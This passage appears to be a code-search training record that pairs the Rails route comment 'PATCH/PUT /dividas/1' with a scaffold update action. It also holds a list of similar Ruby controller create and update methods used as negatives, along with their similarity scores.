"def create\n respond_to do |format|\n aux= params[:item_pautum][:questao_id]\n if aux.size > 1\n for x in aux\n if x == \"\"\n break#a ultima posição do array e um \"\" e isso não é um id por tanto da erro entao esse if resolve isso\n end\n\n @questao=Questao.find(x) #aqui eupego a pessoa com o id q ta no x\n @item_pautum = ItemPautum.new(item_pautum_params)\n @pautum = Pautum.find(@item_pautum.pautum) \n if ItemPautum.search(@questao.id, @pautum.id) == [] #com esse if eu evito que se convoque a mesma pessoa 2 vezes\n @item_pautum.questao=@questao# passo o objeto questao para item pauta\n @item_pautum.pautum=@pautum# passo o objeto pauta para item pauta\n if Ponto.buscarPonto(@item_pautum.questao.id).size >=1\n @item_pautum.save\n end\n end\n end\n\n format.html { redirect_to @pautum, notice: 'Questões alocadas com sucesso.' }\n format.json { render :show, status: :created, location: @pautum }\n else\n\n\n format.html { redirect_to pautum_path(@item_pautum.pautum), notice: 'Desculpe mas,você não selecionou as questões.' }\n end\n end\n end",
"def create\n @inscricao = Inscricao.new(inscricao_params)\n\n respond_to do |format|\n if @inscricao.save\n format.html { redirect_to @inscricao, notice: \"Inscricao was successfully created.\" }\n format.json { render :show, status: :created, location: @inscricao }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @inscricao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @soatseguro = Soatseguro.new(soatseguro_params)\n\n respond_to do |format|\n if @soatseguro.save\n format.html { redirect_to @soatseguro, notice: 'Soatseguro was successfully created.' }\n format.json { render :show, status: :created, location: @soatseguro }\n else\n format.html { render :new }\n format.json { render json: @soatseguro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sugestao = Sugestao.new(sugestao_params)\n\n respond_to do |format|\n if @sugestao.save\n format.html { redirect_to @sugestao, notice: 'Sugestão salva com sucesso.' }\n format.json { render :show, status: :created, location: @sugestao }\n else\n format.html { render :new }\n format.json { render json: @sugestao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:orgao][:tipo_atendimento_ids] ||= []\n\trespond_to do |format|\n if @orgao.save\n format.html { redirect_to @orgao, notice: \"Local de atendimento: #{@orgao.nome}, foi criado com sucesso.\" }\n format.json { render json: @orgao, status: :created, location: @orgao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @orgao.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6306471",
"0.61928034",
"0.61587626",
"0.61322737",
"0.6100432",
"0.60633063",
"0.60253465",
"0.6008307",
"0.59889096",
"0.5982501",
"0.5962352",
"0.596177",
"0.59522295",
"0.5925508",
"0.59243524",
"0.5913997",
"0.5902765",
"0.5896074",
"0.58326036",
"0.5818633",
"0.5810527",
"0.5801539",
"0.57994413",
"0.57911706",
"0.5764275",
"0.57451403",
"0.57274926",
"0.5726461",
"0.57050705",
"0.5704102",
"0.57012784",
"0.5699279",
"0.5698311",
"0.56958413",
"0.5693067",
"0.568972",
"0.56795233",
"0.56711197",
"0.56680137",
"0.5667863",
"0.56640095",
"0.5660692",
"0.56550264",
"0.5645207",
"0.56429505",
"0.5642049",
"0.5633302",
"0.5630492",
"0.56246054",
"0.5623104",
"0.5623011",
"0.5621563",
"0.5617019",
"0.5614269",
"0.5611813",
"0.5608095",
"0.56045485",
"0.5599989",
"0.55950934",
"0.55914694",
"0.55890083",
"0.55840635",
"0.5583393",
"0.5582686",
"0.55814886",
"0.5581367",
"0.5579726",
"0.5579686",
"0.5579431",
"0.5578572",
"0.5574639",
"0.5571692",
"0.55698127",
"0.5568075",
"0.5563884",
"0.556274",
"0.5562119",
"0.5559554",
"0.55594385",
"0.55584294",
"0.55573314",
"0.5554284",
"0.5551508",
"0.5548926",
"0.5544032",
"0.5543906",
"0.5539858",
"0.5539292",
"0.5539074",
"0.55365556",
"0.55343527",
"0.5533719",
"0.5532607",
"0.55290204",
"0.5526887",
"0.55227965",
"0.55148053",
"0.5513345",
"0.55091083"
] |
0.6542379
|
1
|
PATCH/PUT /dividas/1 PATCH/PUT /dividas/1.json
|
def update
respond_to do |format|
if @divida.update(divida_params)
format.html { redirect_to @divida, notice: 'Divida was successfully updated.' }
format.json { render :show, status: :ok, location: @divida }
else
format.html { render :edit }
format.json { render json: @divida.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n if @servicio.update_attributes(params[:servicio])\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n pai = params[:pai] ? Conta.find_by_id(params[:pai]): nil\n \n respond_to do |format|\n if @conta.update(nome: conta_params[:nome], status: conta_params[:status], pai: pai) \n #format.json { render :show, status: :ok, location: @conta }\n format.json { render json: @conta.to_json, status: :ok }\n else \n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n @caixa = Caixa.find(params[:id])\n\n respond_to do |format|\n if @caixa.update_attributes(params[:caixa])\n format.html { redirect_to @caixa, notice: 'Caixa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @caixa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @recurso = Recurso.find(params[:id])\n\n respond_to do |format|\n if @recurso.update_attributes(params[:recurso])\n format.html { redirect_to @recurso, notice: 'O recurso de auto de infração foi atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recurso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @osoba = Osoba.find(params[:id])\n\n if @osoba.update(params[:osoba])\n head :no_content\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end",
"def update\n @mixproducto = Mixproducto.find(params[:id])\n\n respond_to do |format|\n if @mixproducto.update_attributes(params[:mixproducto])\n format.html { redirect_to @mixproducto, notice: 'Mixproducto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mixproducto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @divisa.update(divisa_params)\n format.html { redirect_to @divisa, notice: 'Divisa was successfully updated.' }\n format.json { render :show, status: :ok, location: @divisa }\n else\n format.html { render :edit }\n format.json { render json: @divisa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @conta.update(conta_params)\n format.html { redirect_to contas_path, notice: @@titulo + t('msg.update') }\n format.json { render :show, status: :ok, location: @conta }\n else\n format.html { render :edit }\n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @respuesta = Respuesta.find(params[:id])\n\n if @respuesta.update(params[:respuesta])\n head :no_content\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:laboratorio][:activo]\n id = params[:id]\n Laboratorio.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n @competicao = Competicao.find(params[:id])\n\n respond_to do |format|\n if @competicao.update_attributes(params[:competicao])\n format.html { redirect_to @competicao, notice: 'Competicao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @competicao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sabio = Sabio.find(params[:id])\n\n respond_to do |format|\n if @sabio.update_attributes(params[:sabio])\n format.html { redirect_to @sabio, notice: 'El Sabio fue actualizado.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sabio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to [:admin, @oferta], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n @selecao = Selecao.find(params[:id])\n\n respond_to do |format|\n if @selecao.update_attributes(params[:selecao])\n format.html { redirect_to @selecao, notice: 'Selecao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @selecao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @inventario_cosa.update(inventario_cosa_params)\n format.html { redirect_to @inventario_cosa, notice: 'Inventario cosa was successfully updated.' }\n format.json { render :show, status: :ok, location: @inventario_cosa }\n else\n format.html { render :edit }\n format.json { render json: @inventario_cosa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @consumo = Consumo.find(params[:id])\n\n respond_to do |format|\n if @consumo.update_attributes(params[:consumo])\n format.html { redirect_to @consumo.cliente, :notice => 'Consumo alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @consumo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @solicitud_servicio = SolicitudServicio.find(params[:id])\n\n respond_to do |format|\n if @solicitud_servicio.update_attributes(params[:solicitud_servicio])\n format.html { redirect_to @solicitud_servicio, notice: 'Solicitud servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @solicitud_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n if @articulo.update_attributes(params[:articulo])\n format.html { redirect_to @articulo, notice: 'Articulo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n if @articulo.update_attributes(params[:articulo])\n format.html { redirect_to @articulo, notice: 'Articulo se ha actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @sivic_contcelula.update(sivic_contcelula_params)\r\n format.html { redirect_to @sivic_contcelula, notice: 'Sivic contcelula was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_contcelula.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @calificacion_servicio = CalificacionServicio.find(params[:id])\n\n respond_to do |format|\n if @calificacion_servicio.update_attributes(params[:calificacion_servicio])\n format.html { redirect_to @calificacion_servicio, notice: 'Calificacion servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @calificacion_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @conta.update(conta_params)\n format.html { redirect_to(@conta, :notice => t('activerecord.successful.messages.updated', :model => @conta.class.model_name.human))}\n format.json { render :show, status: :ok, location: @conta }\n else\n format.html { render :edit }\n format.json { render :json => { :errors => @conta.errors.full_messages }, :status => 422 }\n end\n end\n end",
"def update\n @ginasio = Ginasio.find(params[:id])\n\n respond_to do |format|\n if @ginasio.update_attributes(params[:ginasio])\n format.html { redirect_to @ginasio, :flash => { :success => 'Dados do ginasio alterados com successo!' } }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @ginasio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n client=Client.find_by_id params[:id]\n if client!= nil\n client.cedula=params[:cedula] ? params[:cedula]: client.cedula\n client.sector=params[:sector] ? params[:sector]: client.sector\n client.nombre=params[:nombre] ? params[:nombre]: client.nombre\n client.telefono=params[:telefono] ? params[:telefono]: client.telefono\n client.pagina=params[:pagina] ? params[:pagina]: client.pagina\n client.direccion=params[:direccion] ? params[:direccion]: client.direccion\n if client.save\n render(json: client, status: 201)\n end \n else\n render(json: client.errors, status: 404)\n end \n end",
"def update\n @seguro = Seguro.find(params[:id])\n\n respond_to do |format|\n if @seguro.update_attributes(params[:seguro])\n format.html { redirect_to @seguro, notice: 'Seguro was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @seguro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def update\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n if @asiento.update_attributes(params[:asiento])\n format.html { redirect_to @asiento, :notice => 'El apunte fue cambiado.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\r\n @asistencia = Asistencia.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @asistencia.update_attributes(params[:asistencia])\r\n format.html { redirect_to @asistencia, notice: 'Asistencia was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @asistencia.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @tipoapreensao.update(tipoapreensao_params)\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @dependencia = Dependencia.find(params[:id])\n\n respond_to do |format|\n if @dependencia.update_attributes(dependencia_params)\n format.html { redirect_to @dependencia, notice: 'Dependencia se actualizo correctamente.' }\n format.json { head :no_content }\n format.js{}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dependencia.errors, status: :unprocessable_entity }\n format.js{}\n end\n end\n end",
"def update\n @consulta = Consulta.find(params[:id])\n\n if @consulta.update(params[:consulta])\n head :no_content\n else\n render json: @consulta.errors, status: :unprocessable_entity\n end\n end",
"def update\n @specie = Specie.find(params[:id])\n\n respond_to do |format|\n if @specie.update_attributes(params[:specie])\n format.html { redirect_to @specie, notice: 'Specie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @specie.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clientes_servico.update(clientes_servico_params)\n format.html { redirect_to @clientes_servico, notice: 'Clientes servico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @clientes_servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @contato.update(contato_params)\n format.html { redirect_to @contato, flash: { success: 'Contato was successfully updated.' } }\n format.json { render :show, status: :ok, location: @contato }\n else\n format.html { render :edit }\n format.json { render json: @contato.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tapioca.update(tapioca_params)\n format.html { redirect_to @tapioca, notice: 'Tapioca was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tapioca.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @acao = Acao.find(params[:id])\n\n respond_to do |format|\n if @acao.update_attributes(params[:acao])\n format.html { redirect_to acao_url(@acao), notice: 'Acao atualizada.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @acao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n if @pessoa.update_attributes(params[:pessoa])\n format.html { redirect_to pessoas_path, notice: 'Pessoa atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pessoa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sistema = Sistema.find(params[:id])\n\n respond_to do |format|\n if @sistema.update_attributes(params[:sistema])\n format.html { redirect_to @sistema, notice: 'Sistema was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sistema.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @comisaria = Comisaria.find(params[:id])\n\n respond_to do |format|\n if @comisaria.update_attributes(params[:comisaria])\n format.html { redirect_to @comisaria, notice: 'Comisaria was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @comisaria.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n if @socio.update_attributes(params[:socio])\n format.html { redirect_to @socio, :notice => 'Socio atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @socio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:presentacion][:activo]\n id = params[:id]\n Presentacion.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n @atracao = Atracao.find(params[:id])\n\n respond_to do |format|\n if @atracao.update_attributes(params[:atracao])\n format.html { redirect_to @atracao, :notice => 'Atracao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @atracao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n if @respuesta.update_attributes(params[:respuesta])\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data, params = {}, request_options = {})\n request(:patch, path, data, params)\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n respond_to do |format|\n if @servico_pacote.update(servico_pacote_params)\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sitio_entrega = SitioEntrega.find(params[:id])\n\n respond_to do |format|\n if @sitio_entrega.update_attributes(params[:sitio_entrega])\n format.html { redirect_to @sitio_entrega, notice: 'Sitio entrega was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sitio_entrega.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sintoma.update(sintoma_params)\n format.html { redirect_to @sintoma, notice: 'Sintoma was successfully updated.' }\n format.json { render :show, status: :ok, location: @sintoma }\n else\n format.html { render :edit }\n format.json { render json: @sintoma.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bla = Bla.find(params[:id])\n\n respond_to do |format|\n if @bla.update_attributes(params[:bla])\n format.html { redirect_to @bla, :notice => 'Bla was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bla.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @caso.update_attributes(caso_params)\n format.html { redirect_to @caso, notice: 'Caso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @caso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(data, &block)\n request :patch, @data[:id], data, &block\n end",
"def update\n @coisa = Coisa.find(params[:id])\n\n respond_to do |format|\n if @coisa.update_attributes(params[:coisa])\n format.html { redirect_to @coisa, :notice => 'Coisa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @coisa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n if @colegio.update_attributes(params[:colegio])\n format.html { redirect_to @colegio, notice: 'El Colegio fue actualizado satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def partial_update(klass, id, patchset, options = {}, format = nil)\n headers = {}\n headers[:accept] = \"#{format}\" if format\n format ||= @default_format\n options = { resource: klass, id: id, format: format}.merge options\n if [FHIR::Formats::ResourceFormat::RESOURCE_XML, FHIR::Formats::ResourceFormat::RESOURCE_XML_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_XML\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_XML}\"\n elsif [FHIR::Formats::ResourceFormat::RESOURCE_JSON, FHIR::Formats::ResourceFormat::RESOURCE_JSON_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_JSON\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_JSON}\"\n end\n headers[:prefer] = @return_preference if @use_return_preference\n reply = patch resource_url(options), patchset, fhir_headers(headers)\n reply.resource = parse_reply(klass, format, reply)\n reply.resource_class = klass\n reply\n end",
"def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @calendario = Calendario.find(params[:id])\n\n respond_to do |format|\n if @calendario.update_attributes(params[:calendario])\n format.html { redirect_to @calendario, notice: 'Calendario was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @calendario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @servico.update(servico_params)\n format.html { redirect_to servicos_url, notice: 'Serviço atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @servico }\n else\n format.html { render :edit }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @contador.update(contador_params)\n format.html { redirect_to @contador, notice: 'Contador was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contador.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update\n @complaint = Complaint.find(params[:id])\n\n if @complaint.update_attributes(params[:complaint])\n head :no_content\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end",
"def update\n @sinh_vien = SinhVien.find(params[:id])\n\n respond_to do |format|\n if @sinh_vien.update_attributes(params[:sinh_vien]) \n format.json { head :no_content }\n else \n format.json { render json: @sinh_vien.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @conta.update(conta_params)\n format.html { redirect_to @conta, notice: 'Conta was successfully updated.' }\n format.json { render :show, status: :ok, location: @conta }\n else\n format.html { render :edit }\n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @data = @recipe.update(params[:id], recipe_params)\n render json: @data\n end",
"def activo_update\n respond_to do |format|\n activo = params[:producto][:activo]\n id = params[:id]\n Producto.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n respond_to do |format|\n if @caixa.update(caixa_params)\n format.html { redirect_to @caixa, notice: 'Caixa was successfully updated.' }\n format.json { render :show, status: :ok, location: @caixa }\n else\n format.html { render :edit }\n format.json { render json: @caixa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ejercicio = Ejercicio.find(params[:id])\n\n respond_to do |format|\n if @ejercicio.update_attributes(params[:ejercicio])\n format.html { redirect_to @ejercicio, notice: 'Ejercicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ejercicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @apologetic.update(apologetic_params)\n format.html { redirect_to @apologetic, notice: 'Apologetic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @apologetic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n respond_to do |format|\n if @tiposveiculo.update(tiposveiculo_params)\n format.html { redirect_to tiposveiculos_url, notice: 'Tipo de Veículo editado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @tiposveiculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @asiento_de_servicio.update(asiento_de_servicio_params)\n format.html { redirect_to @asiento_de_servicio, notice: 'Asiento de servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @asiento_de_servicio }\n else\n format.html { render :edit }\n format.json { render json: @asiento_de_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @sivic_celula.update(sivic_celula_params)\r\n format.html { redirect_to @sivic_celula, notice: 'Registro alterado com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_celula.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @tipo_de_servicio.update(tipo_de_servicio_params)\n format.html { redirect_to @tipo_de_servicio, notice: 'Tipo de servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_de_servicio }\n else\n format.html { render :edit }\n format.json { render json: @tipo_de_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tb_servicio.update(tb_servicio_params)\n format.html { redirect_to @tb_servicio, notice: 'Tb servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @tb_servicio }\n else\n format.html { render :edit }\n format.json { render json: @tb_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sugerencia = Sugerencia.find(params[:id])\n\n respond_to do |format|\n if @sugerencia.update_attributes(params[:sugerencia])\n format.html { redirect_to @sugerencia, :notice => 'Sugerencia was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @sugerencia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_convenio = TipoConvenio.find(params[:id])\n\n respond_to do |format|\n if @tipo_convenio.update_attributes(params[:tipo_convenio])\n format.html { redirect_to @tipo_convenio, notice: 'Tipo convenio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_convenio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cio.update(cio_params)\n format.html { redirect_to @cio, notice: 'Cio editado com sucesso.' }\n format.json { render :show, status: :ok, location: @cio }\n else\n format.html { render :edit }\n format.json { render json: @cio.errors, status: :unprocessable_entity }\n end\n end\n end",
